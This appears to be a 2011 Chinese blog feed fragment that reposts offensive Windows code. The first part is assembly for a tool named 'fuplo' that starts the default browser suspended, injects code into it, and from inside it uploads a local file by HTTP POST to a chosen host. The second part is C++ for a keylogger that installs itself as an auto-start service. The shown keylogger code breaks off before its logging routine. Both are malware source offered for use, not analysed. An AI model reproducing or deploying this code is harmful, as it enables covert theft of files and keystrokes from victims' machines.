<p>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push FILE_ATTRIBUTE_NORMAL<br>&nbsp;&nbsp;&nbsp;push OPEN_EXISTING<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push FILE_SHARE_READ<br>&nbsp;&nbsp;&nbsp;push GENERIC_READ<br>&nbsp;&nbsp;&nbsp;push [szFile]<br>&nbsp;&nbsp;&nbsp;pushz 'CreateFileA'<br>&nbsp;&nbsp;&nbsp;push [hKernel32]<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;test eax, eax<br>&nbsp;&nbsp;&nbsp;je .Exit<br>&nbsp;&nbsp;&nbsp;mov [hFile], eax</p>
<p>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;pushz 'GetFileSize'<br>&nbsp;&nbsp;&nbsp;push [hKernel32]<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;mov [dwFileSize], eax<br>&nbsp;&nbsp;&nbsp;add [dwRequestLen], eax</p>
<p>&nbsp;&nbsp;&nbsp;mov edi, [szFile]<br>&nbsp;&nbsp;&nbsp;xor al, al<br>&nbsp;&nbsp;&nbsp;or ecx, -1<br>&nbsp;&nbsp;&nbsp;repnz scasb<br>&nbsp;&nbsp;&nbsp;lea esi, [edi-2]<br>&nbsp;&nbsp;&nbsp;std<br>@@:&nbsp;&nbsp; lodsb<br>&nbsp;&nbsp;&nbsp;cmp esi, [szFile]<br>&nbsp;&nbsp;&nbsp;je .ShortFN<br>&nbsp;&nbsp;&nbsp;cmp al, '\'<br>&nbsp;&nbsp;&nbsp;jnz @b<br>@@:&nbsp;&nbsp; inc esi<br>&nbsp;&nbsp;&nbsp;inc esi<br>.ShortFN:&nbsp;&nbsp; cld<br>&nbsp;&nbsp;&nbsp;mov [szShortName], esi<br>&nbsp;&nbsp;&nbsp;sub edi, esi<br>&nbsp;&nbsp;&nbsp;dec edi<br>&nbsp;&nbsp;&nbsp;mov [dwFileNameLen], edi</p>
<p>&nbsp;&nbsp;&nbsp;push PAGE_READWRITE<br>&nbsp;&nbsp;&nbsp;push MEM_COMMIT<br>&nbsp;&nbsp;&nbsp;push [dwRequestLen]<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;pushz 'VirtualAlloc'<br>&nbsp;&nbsp;&nbsp;push [hKernel32]<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;mov [lpRequest], eax</p>
<p>&nbsp;&nbsp;&nbsp;push [szShortName]<br>&nbsp;&nbsp;&nbsp;push [dwFileSize]<br>&nbsp;&nbsp;&nbsp;add dword [esp], .FormatEnd-.ContentStart-3; null-terminator + %s<br>&nbsp;&nbsp;&nbsp;mov eax, [dwFileNameLen]<br>&nbsp;&nbsp;&nbsp;add [esp], eax<br>&nbsp;&nbsp;&nbsp;push [szHost]<br>&nbsp;&nbsp;&nbsp;push [szPath]<br>&nbsp;&nbsp;&nbsp;call .FormatEnd<br>.FormatStart:&nbsp;&nbsp;db "POST %s HTTP/1.1",0Dh,0Ah<br>&nbsp;&nbsp;&nbsp;db "Host: %s",0Dh,0Ah<br>&nbsp;&nbsp;&nbsp;db "User-Agent: fuplo",0Dh,0Ah<br>&nbsp;&nbsp;&nbsp;db 'Content-Type: multipart/form-data; boundary="=_vw0.98992842109405d_="',0Dh,0Ah<br>&nbsp;&nbsp;&nbsp;db "Content-Length: %ld",0Dh,0Ah,0Dh,0Ah</p>
<p>.ContentStart&nbsp;&nbsp;db "--=_vw0.98992842109405d_=",0Dh,0Ah<br>&nbsp;&nbsp;&nbsp;db 'Content-Disposition: form-data; name="upf"; filename="%s"',0Dh,0Ah,0Dh,0Ah,0</p>
<p>.EndBoundary:&nbsp;&nbsp;db 0Dh,0Ah,"--=_vw0.98992842109405d_=--",0Dh,0Ah<br>.FormatEnd: push [lpRequest]<br>&nbsp;&nbsp;&nbsp;pushz 'wsprintfA'<br>&nbsp;&nbsp;&nbsp;push [hUser32]<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;add esp, 4 * 6</p>
<p>&nbsp;&nbsp;&nbsp;mov edi, [lpRequest]<br>&nbsp;&nbsp;&nbsp;add edi, eax<br>&nbsp;&nbsp;&nbsp;add eax, .FormatEnd-.EndBoundary<br>&nbsp;&nbsp;&nbsp;mov [dwRequestLen], eax</p>
<p>&nbsp;&nbsp;&nbsp;push [szHost]<br>&nbsp;&nbsp;&nbsp;pushz 'LocalFree'<br>&nbsp;&nbsp;&nbsp;push [hKernel32]<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;mov esi, eax<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;push [szPath]<br>&nbsp;&nbsp;&nbsp;call esi</p>
<p>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;lea eax, [dwRead]<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;push [dwFileSize]<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;push [hFile]<br>&nbsp;&nbsp;&nbsp;pushz 'ReadFile'<br>&nbsp;&nbsp;&nbsp;push [hKernel32]<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;mov esi, eax</p>
<p>&nbsp;&nbsp;&nbsp;push [hFile]<br>&nbsp;&nbsp;&nbsp;pushz 'CloseHandle'<br>&nbsp;&nbsp;&nbsp;push [hKernel32]<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax</p>
<p>&nbsp;&nbsp;&nbsp;test esi, esi<br>&nbsp;&nbsp;&nbsp;je .Exit3</p>
<p>&nbsp;&nbsp;&nbsp;mov eax, [dwRead]<br>&nbsp;&nbsp;&nbsp;add [dwRequestLen], eax<br>&nbsp;&nbsp;&nbsp;add edi, [dwFileSize]<br>&nbsp;&nbsp;&nbsp;call @f<br>@@:&nbsp;&nbsp; pop esi<br>&nbsp;&nbsp;&nbsp;add esi, .EndBoundary - @b<br>&nbsp;&nbsp;&nbsp;mov ecx, .FormatEnd-.EndBoundary<br>&nbsp;&nbsp;&nbsp;rep movsb</p>
<p>&nbsp;&nbsp;&nbsp;push 0<br>&nbsp;&nbsp;&nbsp;push SOCK_STREAM<br>&nbsp;&nbsp;&nbsp;push PF_INET<br>&nbsp;&nbsp;&nbsp;pushz 'socket'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;cmp eax, -1<br>&nbsp;&nbsp;&nbsp;je .Exit3<br>&nbsp;&nbsp;&nbsp;mov [fdSock], eax</p>
<p>&nbsp;&nbsp;&nbsp;mov [dest+sockaddr_in.sin_family], AF_INET<br>&nbsp;&nbsp;&nbsp;mov [dest+sockaddr_in.sin_port], 5000h<br>&nbsp;&nbsp;&nbsp;mov ecx, sizeof.sockaddr_in.sin_zero<br>&nbsp;&nbsp;&nbsp;lea edi, [dest+sockaddr_in.sin_zero]<br>&nbsp;&nbsp;&nbsp;xor al, al<br>&nbsp;&nbsp;&nbsp;rep stosb</p>
<p>&nbsp;&nbsp;&nbsp;push sizeof.sockaddr_in<br>&nbsp;&nbsp;&nbsp;lea eax, [dest]<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;push [fdSock]<br>&nbsp;&nbsp;&nbsp;pushz 'connect'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;cmp eax, -1<br>&nbsp;&nbsp;&nbsp;je .Exit3</p>
<p>&nbsp;&nbsp;&nbsp;pushz 'send'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;mov esi, eax<br>&nbsp;&nbsp;&nbsp;mov edi, [lpRequest]</p>
<p>&nbsp;&nbsp;&nbsp;push MEM_DECOMMIT<br>&nbsp;&nbsp;&nbsp;push [dwRequestLen]</p>
<p>@@:&nbsp;&nbsp; push 0<br>&nbsp;&nbsp;&nbsp;push [dwRequestLen]<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;push [fdSock]<br>&nbsp;&nbsp;&nbsp;call esi<br>&nbsp;&nbsp;&nbsp;add edi, eax<br>&nbsp;&nbsp;&nbsp;sub [dwRequestLen], eax<br>&nbsp;&nbsp;&nbsp;jnz @b</p>
<p>.Exit3:&nbsp; push [lpRequest]<br>&nbsp;&nbsp;&nbsp;pushz 'VirtualFree'<br>&nbsp;&nbsp;&nbsp;push [hKernel32]<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax</p>
<p>&nbsp;&nbsp;&nbsp;push [fdSock]<br>&nbsp;&nbsp;&nbsp;pushz 'closesocket'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;&nbsp; ;pushz 'Sleep'<br>&nbsp;&nbsp;&nbsp;&nbsp; ;push [hKernel32]<br>&nbsp;&nbsp;&nbsp;&nbsp; ;call GetProc<br>&nbsp;&nbsp;&nbsp;&nbsp; ;push 1000<br>&nbsp;&nbsp;&nbsp;&nbsp; ;call eax</p>
<p>.Exit2:&nbsp; pushz 'WSACleanup'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>.Exit:&nbsp;&nbsp;&nbsp;popad<br>&nbsp;&nbsp;&nbsp;ret<br>endp</p>
<p>&nbsp;&nbsp;&nbsp;include 'utils.inc'<br>&nbsp;&nbsp;&nbsp;label szGivenUrl BYTE<br>..endofinject:</p>
<p>proc fuplo szUrl:DWORD, szFile:DWORD<br>&nbsp;&nbsp;&nbsp;xor eax, eax<br>&nbsp;&nbsp;&nbsp;pushad<br>&nbsp;&nbsp;&nbsp;local hKernel32:DWORD<br>&nbsp;&nbsp;&nbsp;local hAdvapi32:DWORD<br>&nbsp;&nbsp;&nbsp;local szBrowserPath:DWORD<br>&nbsp;&nbsp;&nbsp;local dwUrlLen:DWORD<br>&nbsp;&nbsp;&nbsp;local dwFilenameLen:DWORD</p>
<p>&nbsp;&nbsp;&nbsp;mov edi, [szUrl]<br>&nbsp;&nbsp;&nbsp;or ecx, -1<br>&nbsp;&nbsp;&nbsp;xor al, al<br>&nbsp;&nbsp;&nbsp;repnz scasb<br>&nbsp;&nbsp;&nbsp;neg ecx<br>&nbsp;&nbsp;&nbsp;sub ecx, 1;2<br>&nbsp;&nbsp;&nbsp;mov [dwUrlLen], ecx</p>
<p>&nbsp;&nbsp;&nbsp;mov edi, [szFile]<br>&nbsp;&nbsp;&nbsp;or ecx, -1<br>&nbsp;&nbsp;&nbsp;xor al, al</p>
<p>&nbsp;&nbsp;&nbsp;repnz scasb<br>&nbsp;&nbsp;&nbsp;neg ecx<br>&nbsp;&nbsp;&nbsp;sub ecx, 1<br>&nbsp;&nbsp;&nbsp;mov [dwFilenameLen], ecx</p>
<p>&nbsp;&nbsp;&nbsp;pushz 'kernel32.dll'<br>&nbsp;&nbsp;&nbsp;call LocateModule<br>&nbsp;&nbsp;&nbsp;mov [hKernel32], eax</p>
<p>&nbsp;&nbsp;&nbsp;pushz 'advapi32.dll'<br>&nbsp;&nbsp;&nbsp;pushz 'LoadLibraryA'<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;mov [hAdvapi32], eax</p>
<p>_ResolveBrowser:<br>&nbsp;&nbsp;&nbsp;local hHttpKey:DWORD<br>&nbsp;&nbsp;&nbsp;local lpKeyData:DWORD<br>&nbsp;&nbsp;&nbsp;local dwCrap:DWORD</p>
<p>&nbsp;&nbsp;&nbsp;mov ebx, eax<br>&nbsp;&nbsp;&nbsp;pushz 'RegOpenKeyExA'<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;call GetProc</p>
<p>&nbsp;&nbsp;&nbsp;lea edx, [hHttpKey]<br>&nbsp;&nbsp;&nbsp;push edx<br>&nbsp;&nbsp;&nbsp;push KEY_QUERY_VALUE<br>&nbsp;&nbsp;&nbsp;push 0<br>&nbsp;&nbsp;&nbsp;pushz 'HTTP\shell\open\command'<br>&nbsp;&nbsp;&nbsp;push HKEY_CLASSES_ROOT<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;test eax, eax<br>&nbsp;&nbsp;&nbsp;jnz _Exit</p>
<p>&nbsp;&nbsp;&nbsp;lea edx, [dwCrap]<br>&nbsp;&nbsp;&nbsp;push edx<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push [hHttpKey]<br>&nbsp;&nbsp;&nbsp;pushz 'RegQueryValueExA'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;mov edi, eax<br>&nbsp;&nbsp;&nbsp;call eax</p>
<p>&nbsp;&nbsp;&nbsp;push [dwCrap]<br>&nbsp;&nbsp;&nbsp;push LMEM_FIXED<br>&nbsp;&nbsp;&nbsp;pushz 'LocalAlloc'<br>&nbsp;&nbsp;&nbsp;push [hKernel32]<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;mov [lpKeyData], eax<br>&nbsp;&nbsp;&nbsp;mov esi, eax</p>
<p>&nbsp;&nbsp;&nbsp;lea edx, [dwCrap]<br>&nbsp;&nbsp;&nbsp;push edx<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;push 0<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push [hHttpKey]<br>&nbsp;&nbsp;&nbsp;call edi</p>
<p>&nbsp;&nbsp;&nbsp;push [hHttpKey]<br>&nbsp;&nbsp;&nbsp;pushz 'RegCloseKey'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax</p>
<p>&nbsp;&nbsp;&nbsp;mov ebx, [hKernel32]</p>
<p>_ParseKeyData:<br>&nbsp;&nbsp;&nbsp;mov [szBrowserPath], esi<br>&nbsp;&nbsp;&nbsp;lodsb<br>&nbsp;&nbsp;&nbsp;cmp al, '"'<br>&nbsp;&nbsp;&nbsp;jnz @f<br>&nbsp;&nbsp;&nbsp;inc [szBrowserPath]<br>&nbsp;&nbsp;&nbsp;jmp .SearchEnd<br>@@:&nbsp;&nbsp; mov al, ' '<br>.SearchEnd: mov edi, esi<br>@@:&nbsp;&nbsp; scasb<br>&nbsp;&nbsp;&nbsp;jnz @b<br>&nbsp;&nbsp;&nbsp;mov byte [edi-1], 0</p>
<p>_CreateProcess:<br>&nbsp;&nbsp;&nbsp;local pi:PROCESS_INFORMATION<br>&nbsp;&nbsp;&nbsp;local si:STARTUPINFO</p>
<p>&nbsp;&nbsp;&nbsp;mov ecx, sizeof.PROCESS_INFORMATION<br>&nbsp;&nbsp;&nbsp;lea edi, [pi]<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;xor al, al<br>&nbsp;&nbsp;&nbsp;rep stosb<br>&nbsp;&nbsp;&nbsp;mov ecx, sizeof.STARTUPINFO<br>&nbsp;&nbsp;&nbsp;lea edi, [si]<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;rep stosb</p>
<p>&nbsp;&nbsp;&nbsp;pushz 'GetStartupInfoA'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax</p>
<p>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push CREATE_SUSPENDED<br>&nbsp;&nbsp;&nbsp;push FALSE<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push [szBrowserPath]</p>
<p>&nbsp;&nbsp;&nbsp;pushz 'CreateProcessA'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;test eax, eax<br>&nbsp;&nbsp;&nbsp;je _Exit</p>
<p>.HijackProcess:<br>&nbsp;&nbsp;&nbsp;local lpInjection:DWORD<br>&nbsp;&nbsp;&nbsp;local ctx:CONTEXT</p>
<p>&nbsp;&nbsp;&nbsp;push PAGE_EXECUTE_READWRITE<br>&nbsp;&nbsp;&nbsp;push MEM_COMMIT<br>&nbsp;&nbsp;&nbsp;mov eax, ..endofinject-..inject<br>&nbsp;&nbsp;&nbsp;add eax, [dwUrlLen]<br>&nbsp;&nbsp;&nbsp;add eax, [dwFilenameLen]<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;push NULL<br>&nbsp;&nbsp;&nbsp;push dword [pi+PROCESS_INFORMATION.hProcess]<br>&nbsp;&nbsp;&nbsp;pushz 'VirtualAllocEx'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;mov [lpInjection], eax</p>
<p>&nbsp;&nbsp;&nbsp;lea edx, [ctx]<br>&nbsp;&nbsp;&nbsp;push edx<br>&nbsp;&nbsp;&nbsp;mov [edx+CONTEXT.ContextFlags], CONTEXT_FULL<br>&nbsp;&nbsp;&nbsp;push dword [pi+PROCESS_INFORMATION.hThread]<br>&nbsp;&nbsp;&nbsp;pushz 'GetThreadContext'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax</p>
<p>&nbsp;&nbsp;&nbsp;mov edi, [lpInjection]<br>&nbsp;&nbsp;&nbsp;lea eax, [dwCrap]<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;push ..endofinject-..inject<br>&nbsp;&nbsp;&nbsp;push ..inject<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;push dword [pi+PROCESS_INFORMATION.hProcess]<br>&nbsp;&nbsp;&nbsp;pushz 'WriteProcessMemory'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;mov esi, eax<br>&nbsp;&nbsp;&nbsp;mov [ctx+CONTEXT.Eip], edi<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;add edi, ..endofinject-..inject<br>&nbsp;&nbsp;&nbsp;lea eax, [dwCrap]<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;push [dwUrlLen]<br>&nbsp;&nbsp;&nbsp;push [szUrl]<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;push dword [pi+PROCESS_INFORMATION.hProcess]<br>&nbsp;&nbsp;&nbsp;call esi<br>&nbsp;&nbsp;&nbsp;add edi, [dwUrlLen]<br>&nbsp;&nbsp;&nbsp;lea eax, [dwCrap]<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;push [dwFilenameLen]<br>&nbsp;&nbsp;&nbsp;push [szFile]<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;push dword [pi+PROCESS_INFORMATION.hProcess]<br>&nbsp;&nbsp;&nbsp;call esi</p>
<p>&nbsp;&nbsp;&nbsp;lea edx, [ctx]<br>&nbsp;&nbsp;&nbsp;push edx<br>&nbsp;&nbsp;&nbsp;push dword [pi+PROCESS_INFORMATION.hThread]<br>&nbsp;&nbsp;&nbsp;pushz 'SetThreadContext'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax</p>
<p>&nbsp;&nbsp;&nbsp;push dword [pi+PROCESS_INFORMATION.hThread]<br>&nbsp;&nbsp;&nbsp;pushz 'ResumeThread'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax</p>
<p>&nbsp;&nbsp;&nbsp;mov [esp+_PUSHAD.Pushad_eax], 1<br>_Exit:&nbsp;&nbsp; popad<br>&nbsp;&nbsp;&nbsp;ret<br>endp</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73027.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 22:05 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73027.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[c++] Windows Service Keylogger </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73026.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 14:01:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73026.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73026.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73026.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73026.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73026.html</trackback:ping><description><![CDATA[<p><a href="http://www.rohitab.com/discuss/topic/31185-c-windows-service-keylogger/">http://www.rohitab.com/discuss/topic/31185-c-windows-service-keylogger/</a><br>Here is a simple keylogger I put together, I decided to post it because I thought it was a pretty good example of creating a windows service. At one point the actual service was a dll injector that injected explorer with a dll that then did the logging on DLL_PROCESS_ATTACH. However, I scrapped that because I was having issues with the restrictions associate with dllmain. I didn't put an upload function or anything, but if you want to actually use it you can just do that yourself. <br><br>Oh yeah and any dumb/skiddy shit you may do with this is not my fault.<br><br>Eh, enjoy.<br><br><br><br>/* This is my new keylogger, runs as a Service */</p>
<p><br>#include &lt;windows.h&gt;</p>
<p>using namespace std;</p>
<p>BOOL Install_Logger_Service();<br>void Initialize_Service();<br>void WINAPI Create_Service(DWORD , CHAR**);<br>void WINAPI Handle_Controls(DWORD control_code);</p>
<p><br>BOOL Logger();</p>
<p><br>char service_name[100] = TEXT("Local Sex Daemon");<br>SERVICE_STATUS serv_status;<br>SERVICE_STATUS_HANDLE serv_handle = 0;<br>HANDLE stop_service = 0;<br>HHOOK hook_handle;</p>
<p>&nbsp;</p>
<p>int main() {<br>&nbsp;Install_Logger_Service();<br>&nbsp;Initialize_Service();</p>
<p>&nbsp;<br>&nbsp;<br>&nbsp;return 0;<br>}</p>
<p>BOOL Install_Logger_Service() {</p>
<p>&nbsp; SC_HANDLE check_serv_handle = OpenSCManager(0, 0, SC_MANAGER_CONNECT);<br>&nbsp; if (check_serv_handle) {<br>&nbsp;&nbsp;SC_HANDLE chk_serv = OpenService(check_serv_handle, service_name, SERVICE_QUERY_STATUS);<br>&nbsp;&nbsp;if (chk_serv != NULL) {<br>&nbsp;&nbsp;&nbsp;&nbsp; CloseServiceHandle(chk_serv);<br>&nbsp;&nbsp;&nbsp;&nbsp; CloseServiceHandle(check_serv_handle);<br>&nbsp;&nbsp;&nbsp;&nbsp; return TRUE;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;CloseServiceHandle(check_serv_handle);<br>&nbsp; }<br>&nbsp; SC_HANDLE serv_c_handle = OpenSCManager(0, 0, SC_MANAGER_CREATE_SERVICE);</p>
<p>&nbsp; if (serv_c_handle) {<br>&nbsp;&nbsp;char prog_path[MAX_PATH + 1];<br>&nbsp;&nbsp;if (GetModuleFileName(0, prog_path, sizeof(prog_path)/sizeof(prog_path[0])) == strlen(prog_path)) {<br>&nbsp;&nbsp;&nbsp;&nbsp; SC_HANDLE create_serv = CreateService (serv_c_handle, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; service_name, //Service Name<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; service_name, //Display Name<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SERVICE_ALL_ACCESS,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SERVICE_AUTO_START,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SERVICE_ERROR_IGNORE,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; prog_path,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0, 0, 0, 0, 0);<br>&nbsp;&nbsp;&nbsp;&nbsp; if (create_serv != NULL) {<br>&nbsp;&nbsp;&nbsp;&nbsp; StartService(create_serv, 0, 0);&nbsp; //This will get it started the first time<br>&nbsp;&nbsp;&nbsp;&nbsp; CloseServiceHandle(create_serv);<br>&nbsp;&nbsp;&nbsp;&nbsp; exit(0);<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;CloseServiceHandle(serv_c_handle);<br>&nbsp; }<br>&nbsp; return TRUE;<br>}</p>
<p>void WINAPI Create_Service(DWORD , CHAR**) {</p>
<p><br>&nbsp; serv_status.dwServiceType = SERVICE_WIN32;<br>&nbsp; serv_status.dwCurrentState = SERVICE_STOPPED;<br>&nbsp; serv_status.dwControlsAccepted = 0;<br>&nbsp; serv_status.dwWin32ExitCode = NO_ERROR;&nbsp; <br>&nbsp; serv_status.dwServiceSpecificExitCode =&nbsp; NO_ERROR;<br>&nbsp; serv_status.dwCheckPoint = 0;<br>&nbsp; serv_status.dwWaitHint = 0;<br>&nbsp;&nbsp;<br>&nbsp; serv_handle = RegisterServiceCtrlHandler(service_name, Handle_Controls);<br>&nbsp;&nbsp;<br>&nbsp; if (serv_handle) {<br>&nbsp;&nbsp;serv_status.dwCurrentState = SERVICE_START_PENDING;<br>&nbsp;&nbsp;SetServiceStatus(serv_handle, &amp;serv_status);<br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;stop_service = CreateEvent(0, FALSE, FALSE, 0);<br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;serv_status.dwCurrentState = SERVICE_RUNNING;<br>&nbsp;&nbsp;SetServiceStatus(serv_handle, &amp;serv_status);<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;//This is where the logging gets started at</p>
<p>&nbsp;&nbsp;Logger();<br>&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p>&nbsp; }<br>&nbsp; return;<br>}</p>
<p>void WINAPI Handle_Controls(DWORD control_code) {<br>&nbsp; switch (control_code) {<br>&nbsp;&nbsp;&nbsp;default: {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp; }<br>&nbsp; SetServiceStatus(serv_handle, &amp;serv_status);<br>&nbsp; return;<br>}</p>
<p><br>void Initialize_Service() {<br>&nbsp; SERVICE_TABLE_ENTRY ServTable[] =&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {service_name, Create_Service},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0, 0},<br>&nbsp; };<br>&nbsp; <br>&nbsp; if (StartServiceCtrlDispatcher(ServTable) == 0) {<br>&nbsp;&nbsp;return;<br>&nbsp; }<br>&nbsp; <br>&nbsp; return;<br>}</p>
